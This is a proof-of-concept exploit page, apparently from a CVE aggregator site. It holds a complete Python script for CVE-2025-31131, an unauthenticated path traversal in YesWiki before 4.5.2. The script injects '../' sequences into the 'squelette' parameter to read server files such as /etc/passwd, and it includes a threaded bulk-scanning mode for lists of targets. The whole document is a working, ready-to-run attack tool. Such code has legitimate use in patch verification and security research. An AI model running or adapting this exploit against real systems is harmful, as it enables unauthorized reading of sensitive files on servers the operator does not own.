4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python3

import requests
import argparse
from urllib.parse import quote
from colorama import Fore, Style, init
import urllib3
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
init(autoreset=True)

BANNER = f"""
{Fore.CYAN}╔════════════════════════════════════════════════════╗
║    CVE-2025-31131 YesWiki Path Traversal Exploit   ║
║                                                    ║
║  YesWiki < 4.5.2 - Unauthenticated Path Traversal  ║
║  Severity: High (CVSS: 8.6)                         ║
║  Created by: Muhammad Waseem                       ║
║  Reference: https://github.com/advisories/GHSA-w34w-fvp3-68xm
╚════════════════════════════════════════════════════╝{Style.RESET_ALL}
"""

# Function to extract file content from the response
def extract_file_contents(html_text):
    start_index = html_text.find("root:x:0:0:")
    if start_index == -1:
        return "[!] File contents not found in response."
    end_index = html_text.find("</", start_index)
    return html_text[start_index:end_index].strip()

# Function to check vulnerability
def check_vulnerability(url, file_path):
    path = quote(f"{'../'*8}{file_path}")
    full_url = f"{url}/?UrkCEO/edit&theme=margot&squelette={path}&style=margot.css"

    headers = {
        "User-Agent": "Mozilla/5.0",
        "Accept": "*/*"
    }

    try:
        r = requests.get(full_url, headers=headers, timeout=10, verify=False)

        # Check for vulnerability
        if "root:x:0:0:" in r.text or "bin/bash" in r.text:
            print(f"\n{Fore.GREEN}[+] {url} is Vulnerable! File content of {file_path}:{Style.RESET_ALL}")
            print(f"{Fore.CYAN}{'-'*50}{Style.RESET_ALL}")
            print(extract_file_contents(r.text))
            print(f"{Fore.CYAN}{'-'*50}{Style.RESET_ALL}")
            return True
    except requests.exceptions.RequestException as e:
        # Skip SSL errors or other connection issues silently
        pass
    return False

# Function to process URL list with threads
def process_url_list(file_path, file_to_read, threads):
    try:
        with open(file_path, "r") as f:
            urls = [line.strip() for line in f if line.strip()]
        print(f"{Fore.BLUE}[+] Scanning {len(urls)} targets using {threads} threads...\n{Style.RESET_ALL}")

        with ThreadPoolExecutor(max_workers=threads) as executor:
            futures = {executor.submit(check_vulnerability, url.rstrip("/"), file_to_read): url for url in urls}
            for future in as_completed(futures):
                pass  # All output happens inside check_vulnerability
    except FileNotFoundError:
        print(f"{Fore.RED}[-] URL list file not found: {file_path}{Style.RESET_ALL}")
        sys.exit(1)

# Main function to handle argument parsing and logic
def main():
    parser = argparse.ArgumentParser(description="CVE-2025-31131 - YesWiki Path Traversal Exploit")
    parser.add_argument("-u", "--url", help="Single target URL (e.g. https://example.com)")
    parser.add_argument("-l", "--list", help="File with list of URLs")
    parser.add_argument("-f", "--file", help="File path to read (default: /etc/passwd)", default="/etc/passwd")
    parser.add_argument("--threads", help="Number of threads for bulk scan (default: 10)", type=int, default=10)

    args = parser.parse_args()
    print(BANNER)

    if args.list:
        process_url_list(args.list, args.file, args.threads)
    elif args.url:
        check_vulnerability(args.url.rstrip("/"), args.file)
    else:
        print(f"{Fore.RED}[-] Please specify either a single URL with -u or a list with -l{Style.RESET_ALL}")
        parser.print_help()

if __name__ == "__main__":
    main()